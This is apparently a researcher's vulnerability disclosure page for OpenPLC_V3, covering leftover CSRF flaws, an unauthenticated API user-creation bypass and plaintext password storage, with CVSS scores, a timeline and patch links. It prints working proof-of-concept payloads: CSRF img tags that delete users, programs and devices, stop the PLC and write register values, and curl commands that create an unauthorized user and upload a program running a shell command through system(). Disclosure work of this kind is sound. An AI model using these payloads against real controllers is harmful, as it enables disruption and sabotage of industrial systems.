Shriyans Sudhi

## Overview

I found a few vulnerabilities in OpenPLC_V3 during a *casual past-midnight code audit*. I reported them to US-CERT (Cybersecurity and Infrastructure Security Agency - CISA).

## Recommendations

- OpenPLC_V3 is end-of-life and no longer receiving updates. Users should migrate to OpenPLC V4
- If updating to OpenPLC V4 is not possible, users should apply the latest security patches
  - The fork fixing these issues can be found at: https://github.com/shriyanss/OpenPLC_v3 (Unofficial; provided without warranty)

## Vulnerabilities
- [CVE-2026-28205](/research/cve/CVE-2026-28205): Initialization of a resource with an insecure default in OpenPLC_V3
- [CVE-2026-35556](/research/cve/CVE-2026-35556): Plaintext storage of a password in OpenPLC_V3
- Incomplete remediation for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970)

## Technical Details

### [CVE-2026-28205](/research/cve/CVE-2026-28205)

More details can be found at [/research/cve/CVE-2026-28205](/research/cve/CVE-2026-28205).

### [CVE-2026-35556](/research/cve/CVE-2026-35556)

More details can be found at [/research/cve/CVE-2026-35556](/research/cve/CVE-2026-35556).

### Incomplete remediation for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970)

#### Description
Multiple CSRF were identified in [OpenPLC_v3](https://github.com/thiagoralves/OpenPLC_v3) which could potentially cause service disruption.
#### Affected Project
[`master`](https://github.com/thiagoralves/OpenPLC_v3) branch as of Feb 14th 2026, or at commit hash [`bb35f6966b3e0258114284e3e6c11d7b5d32de8c`](https://github.com/thiagoralves/OpenPLC_v3/commit/bb35f6966b3e0258114284e3e6c11d7b5d32de8c)

#### CVSS Info
CVSS Score: 8.0
CVSS Vector String: [`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H1`](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H)
Justification:
- **Attack Vector (AV): Network** - This attack could be executed over the internet
- **Attack Complexity (AC): High** - This attack requires significant reconnaissance on the target person before it could be executed
- **Privileges Required (PR): None** - This attack does not requires an adversary to have any privileges
- **User Interaction (UI): Required** - This attack requires the victim to visit a webpage
- **Scope (S): Changed** - This attack affects underlying OT systems
- **Confidentiality (C): None** - This attack doesn't impact confidentiality of data
- **Integrity (I): High** - This attack allows an adversary to perform actions like modifying register values of an OT system
- **Availability (A): High** - This attack allows an adversary to completely shut down the OT systems
#### Root Cause
Upon re-evaluation of fix(es) for [CVE-2025-13970](https://www.cve.org/CVERecord?id=CVE-2025-13970), it was found that the issue has been partially fixed. Some functionalities remain vulnerable to CSRF.

##### `GET /delete-user`
Following is the code responsible for handling this endpoint:

```python
@app.route('/delete-user', methods=['GET', 'POST'])
def delete_user():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        user_id = flask.request.args.get('user_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT username FROM Users WHERE user_id = ?", (int(user_id),))
                row = cur.fetchone()
                if (flask_login.current_user.id == row[0]):
                    cur.close()
                    conn.close()
                    return draw_blank_page() + "<h2>Error</h2><p>You cannot delete yourself!<br><br>Use the back-arrow on your browser to return</p></div></div></div></body></html>"
                else:
                    cur = conn.cursor()
                    cur.execute("DELETE FROM Users WHERE user_id = ?", (int(user_id),))
                    conn.commit()
                    cur.close()
                    conn.close()
                    return flask.redirect(flask.url_for('users'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'
```

It does not have any validation for CSRF token. This implies that an adversary can delete a user by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/delete-user?user_id=1">
<img src="http://target/delete-user?user_id=2">
<img src="http://target/delete-user?user_id=3">
<img src="http://target/delete-user?user_id=4">
<img src="http://target/delete-user?user_id=5">
<img src="http://target/delete-user?user_id=6">
<img src="http://target/delete-user?user_id=7">
...
```

##### `GET /remove-program`
Following is the code responsible for handling this endpoint:

```python
@app.route('/remove-program', methods=['GET', 'POST'])
def remove_program():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        prog_id = flask.request.args.get('id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Programs WHERE Prog_ID = ?", (int(prog_id),))
                conn.commit()
                cur.close()
                conn.close()
                return flask.redirect(flask.url_for('programs'))
                
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

```

It does not have any validation for CSRF token. This implies that an adversary can delete a program by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/remove-program?id=1">
<img src="http://target/remove-program?id=2">
<img src="http://target/remove-program?id=3">
<img src="http://target/remove-program?id=4">
<img src="http://target/remove-program?id=5">
<img src="http://target/remove-program?id=6">
<img src="http://target/remove-program?id=7">
...
```

##### `GET /delete-device`
Following is the code responsible for handling this endpoint:

```python
@app.route('/delete-device', methods=['GET', 'POST'])
def delete_device():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        devid_db = flask.request.args.get('dev_id')
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("DELETE FROM Slave_dev WHERE dev_id = ?", (int(devid_db),))
                conn.commit()
                cur.close()
                conn.close()
                generate_mbconfig()
                return flask.redirect(flask.url_for('modbus'))
            except Error as e:
                print("error connecting to the database" + str(e))
                return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
        else:
            return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'

```

It does not have any validation for CSRF token. This implies that an adversary can delete a device by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/delete-device?dev_id=1">
<img src="http://target/delete-device?dev_id=2">
<img src="http://target/delete-device?dev_id=3">
<img src="http://target/delete-device?dev_id=4">
<img src="http://target/delete-device?dev_id=5">
<img src="http://target/delete-device?dev_id=6">
<img src="http://target/delete-device?dev_id=7">
...
```

##### `GET /start_plc`
Following is the code responsible for handling this endpoint:

```python
@app.route('/start_plc')
def start_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        monitor.stop_monitor()
        openplc_runtime.start_runtime()
        time.sleep(1)
        configure_runtime()
        monitor.cleanup()
        monitor.parse_st(openplc_runtime.project_file)
        return flask.redirect(flask.url_for('dashboard'))

```

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/start_plc">
```

##### `GET /stop_plc`
Following is the code responsible for handling this endpoint:

```python
@app.route('/stop_plc')
def stop_plc():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        openplc_runtime.stop_runtime()
        time.sleep(1)
        monitor.stop_monitor()
        return flask.redirect(flask.url_for('dashboard'))

```

It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/stop_plc">
```

##### `GET /point-write`
Following is the code responsible for handling this endpoint:

```python
@app.route('/point-write', methods=['GET', 'POST'])
def point_write():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        point_value = flask.request.args.get('value')
        point_address = flask.request.args.get('address')
        monitor.write_value(point_address, int(point_value))
        return ''

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/point-write?address=100&value=1">
...
```


##### `GET /compile-program`
Following is the code responsible for handling this endpoint:

```python
@app.route('/compile-program', methods=['GET', 'POST'])
def compile_program():
    global openplc_runtime
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        st_file = flask.request.args.get('file')
        
        #load information about the program being compiled into the openplc_runtime object
        database = "openplc.db"
        conn = create_connection(database)
        if (conn != None):
            try:
                cur = conn.cursor()
                cur.execute("SELECT * FROM Programs WHERE File=?", (st_file,))
                row = cur.fetchone()
                openplc_runtime.project_name = str(row[1])
                openplc_runtime.project_description = str(row[2])
                openplc_runtime.project_file = str(row[3])
                cur.close()
                conn.close()
            except Error as e:
                print("error connecting to the database" + str(e))
        else:
            print("error connecting to the database")
        
        delete_persistent_file()
        openplc_runtime.compile_program(st_file)
        
        return draw_compiling_page()

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/compile-program?file=main.st">
...
```

##### `GET /restore_custom_hardware`
Following is the code responsible for handling this endpoint:

```python
def restore_custom_hardware():
    if (flask_login.current_user.is_authenticated == False):
        return flask.redirect(flask.url_for('login'))
    else:
        if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
        
        #Restore the original custom layer code
        with open('./core/psm/main.original') as f: original_code = f.read()
        with open('./core/psm/main.py', 'w+') as f: f.write(original_code)
        return flask.redirect(flask.url_for('hardware'))

```

It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:

```html
<img src="http://target/compile-program?file=main.st">
...
```


## Disclosure Timeline

**Date format**: `YYYY-MM-DD`

- **2026-02-13**: CSRF Initial Discovery
- **2026-02-13**: CSRF Disclosed to CISA
- **2026-02-13**: Insecure Storage of Sensitive Information Discovered
- **2026-02-14**: Insecure Initialization of Resource discovered
- **2026-02-14**: Undisclosed Vulnerabilities Discovered
- **2026-02-17**: Pull Request for CSRF: https://github.com/thiagoralves/OpenPLC_v3/pull/319
- **2026-02-19**: Pull Request for Hashing: https://github.com/thiagoralves/OpenPLC_v3/pull/320
- **2026-02-25**: Pull Request for Program Upload: https://github.com/thiagoralves/OpenPLC_v3/pull/322
- **2026-04-25**: Advisory Update Published
- **2026-04-25**: CVEs Assigned

Multiple CVEs in OpenPLC_V3, two of which were discovered by me

ICSA-25-345-10 - OpenPLC_V3 (Update A)

<Toast>**Considering OpenPLC V3 is End of Life, either update to OpenPLC Runtime v4 or the fork patched by me can be used*: https://github.com/shriyanss/OpenPLC_V3**</Toast>

<small>*Provided without warranty</small>

- **CVE-2026-28205**
- **CVSS 4.0 Score**: 9.2 (Critical)
- **CVSS 4.0 Vector**: [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H)
- **CWE(s)**: [CWE-1188 Initialization of a resource with an insecure default](https://cwe.mitre.org/data/definitions/1188.html)

# Official

## Description

OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API.

## Remediation

OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)

# Technical Details

## Affected Project

[`master`](https://github.com/thiagoralves/OpenPLC_v3) branch as of Feb 14th 2026, or at commit hash [`bb35f6966b3e0258114284e3e6c11d7b5d32de8c`](https://github.com/thiagoralves/OpenPLC_v3/commit/bb35f6966b3e0258114284e3e6c11d7b5d32de8c)

## CVSS Info

CVSS Score: 8.9
CVSS Vector String: [`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H`](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H)

Justification:

- **Attack Vector (AV): Network** - This attack could be executed over the internet
- **Attack Complexity (AC)**: High - This attack requires the HTTPS port to be exposed.
- **Privileges Required (PR): None** - This attack does not requires an adversary to have any privileges
- **User Interaction (UI):** None - This attack does not require any user interactions
- **Scope (S): Changed** - This attack affects underlying OT systems
- **Confidentiality (C): Low** - This attack reveals some data from the target to the attacker
- **Integrity (I): High** - This attack allows an adversary to perform actions like modifying register values of an OT system
- **Availability (A): High** - This attack allows an adversary to completely shut down the OT systems

## Steps to Reproduce:

On a default installation of OpenPLC_v3, the program opens two ports: http:8080 and https:8443. This attack requires the adversary to send the requests described below to https:8443 port. SENDING REQUESTS TO HTTP:8080 WILL NOT WORK.

Assuming that the target is on `https://localhost:8443` (please change the host as required):

- Create a new user through API:

```bash
curl https://localhost:8443/api/create-user -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k
```

- Login and get the JWT token:

```bash
JWT=$(curl https://localhost:8443/api/login -X POST -H "Content-Type: application/json" -d '{"username":"test","password":"test"}' -k | jq -r '.access_token')
```

- As a server-admin, the web UI, after authenticating with `openplc:openplc`, shows that there are no new users created: `http://target/users`

- As an adversary, the PLC can be started with the following command:

```bash
curl https://localhost:8443/api/start-plc -H "Authorization: Bearer $JWT" -k
```

- This action could be verified by visiting `http://target/dashboard`
- Similarly, the PLC could be stopped:

```bash
curl https://localhost:8443/api/stop-plc -H "Authorization: Bearer $JWT" -k
```

- An adversary could also tamper the `webserver_program.st` program:

```bash
curl -k $'https://localhost:8443/api/upload-file' -X $'POST' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' -H "Authorization: Bearer $JWT" --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name="file"; filename="testt.st"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aPROGRAM ShellExec\x0a  VAR\x0a    trigger : BOOL;\x0a    command_sent : BOOL;\x0a  END_VAR\x0a\x0a  {\x0a    #include <stdlib.h>\x0a  }\x0a\x0a  IF trigger AND NOT command_sent THEN\x0a    {\x0a      system("ls -la / > /tmp/output.txt");\x0a    }\x0a    command_sent := TRUE;\x0a  END_IF;\x0a\x0a  IF NOT trigger THEN\x0a    command_sent := FALSE;\x0a  END_IF;\x0a  \x0aEND_PROGRAM\x0a\x0aCONFIGURATION Config0\x0a  RESOURCE Res0 ON PLC\x0a    TASK Main(INTERVAL := T#100ms, PRIORITY := 0);\x0a    PROGRAM Inst0 WITH Main : ShellExec;\x0a  END_RESOURCE\x0aEND_CONFIGURATION\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--'
```

- The compilation logs could be retrieved using the following command:

```bash
curl https://localhost:8443/api/compilation-status -H "Authorization: Bearer $JWT" -k
```

Upon inspection of the Web UI, no signup feature was discovered. This is NOT SAME AS NORMAL USER SIGNUP because:

- The user database table is not connected
  - However, they allow access to the same resource(s)
- The API is undocumented, leading to no API users being created in most installations

In addition to the aforementioned vulnerability, the passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is `werbserver/openplc.db`. This vulnerability is tracked as [CVE-2026-35556](/research/cve/CVE-2026-35556).

## Root Cause

An API endpoint `/api/create-user` was introduced in OpenPLC_v3 6 months ago. The following is the code for that as of Feb 14th 2025:

```python
@restapi_bp.route("/create-user", methods=["POST"])
def create_user():
    # check if there are any users in the database
    try:
        users_exist = User.query.first() is not None
    except Exception as e:
        logger.error(f"Error checking for users: {e}")
        return jsonify({"msg": "User creation error"}), 401

    # if there are no users, we don't need to verify JWT
    if users_exist and verify_jwt_in_request(optional=True) is None:
        return jsonify({"msg": "User already created!"}), 401

    data = request.get_json()
    username = data.get("username")
    password = data.get("password")
    role = data.get("role", "user")

    if not username or not password:
        return jsonify({"msg": "Missing username or password"}), 400

    if User.query.filter_by(username=username).first():
        return jsonify({"msg": "Username already exists"}), 409

    # Create a new user
    user = User(username=username, role=role)
    user.set_password(password)
    db.session.add(user)
    db.session.commit()

    return jsonify({"msg": "User created", "id": user.id}), 201
```

This endpoint checks if any user exists in the database. By default, OpenPLC_v3 web UI has a default user `openplc:openplc`. The flaw exists in higher code hierarchy, API where the application loads the database.

The web UI uses the database at `openplc.db`, while the API uses the database at `instance/{DB_PATH}` (`{DB_PATH}` is not a placeholder, rather the actual filename). This difference, along with missing documentation on API, makes the endpoint open to attackers.

# Timeline

**Date format**: `YYYY-MM-DD`

- **Discovery**: 2026-02-14
- **Reported**: 2026-02-14
- **Fixed**: 2026-02-25
- **Published**: 2026-04-25


OpenPLC_V3 is vulnerable to an Initialization of a Resource with an Insecure Default vulnerability which could allow an attacker to gain access to the system by bypassing authentication via an API - Discovered by Shriyans Sudhi

CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3

<Toast>**Considering OpenPLC V3 is End of Life, either update to OpenPLC Runtime v4 or the fork patched by me can be used*: https://github.com/shriyanss/OpenPLC_V3**</Toast>

<small>*Provided without warranty</small>

- **CVE-2026-35556**
- **CVSS 4.0 Score**: 9.2 (Critical)
- **CVSS 4.0 Vector**: [CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
- **CWE(s)**: [CWE-256 Plaintext storage of a password](https://cwe.mitre.org/data/definitions/256.html)

# Official

## Description

OpenPLC_V3 is vulnerable to a Plaintext Storage of a Password vulnerability that could allow an attacker to retrieve credentials and access sensitive information.

## Remediation

OpenPLC_v3 is now considered to be end of life. Users are recommended to upgrade to OpenPLC Runtime v4 (https://github.com/autonomy-logic/openplc-runtime)

# Technical Details

The passwords from the Web UI are stored plaintext in the database file in the installation directory. The path to the database file in the installation directory is `werbserver/openplc.db`

# Timeline

**Date format**: `YYYY-MM-DD`

- **Discovery**: 2026-02-13
- **Reported**: 2026-02-14
- **Fixed**: 2026-02-19
- **Published**: 2026-04-25


OpenPLC_V3 is vulnerable to a Plaintext Storage of a Password vulnerability that could allow an attacker to retrieve credentials and access sensitive information. - Discovered by Shriyans Sudhi

CVE-2026-35556: Plaintext storage of a password in OpenPLC_V3

A request paper on JavaScript has been submitted to a conference but has not been published yet. It should be updated here once it is published.

Undisclosed JavaScript Paper

Security research including CVEs, government advisories, and published research papers by Shriyans Sudhi.

Research

🔓 CVEs

CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3

CVE-2026-35556: Plaintext storage of a password in OpenPLC_V3

🏛️ Government Advisories

ICSA-25-345-10 - OpenPLC_V3 (Update A)

📄 Research Papers

Undisclosed JavaScript Paper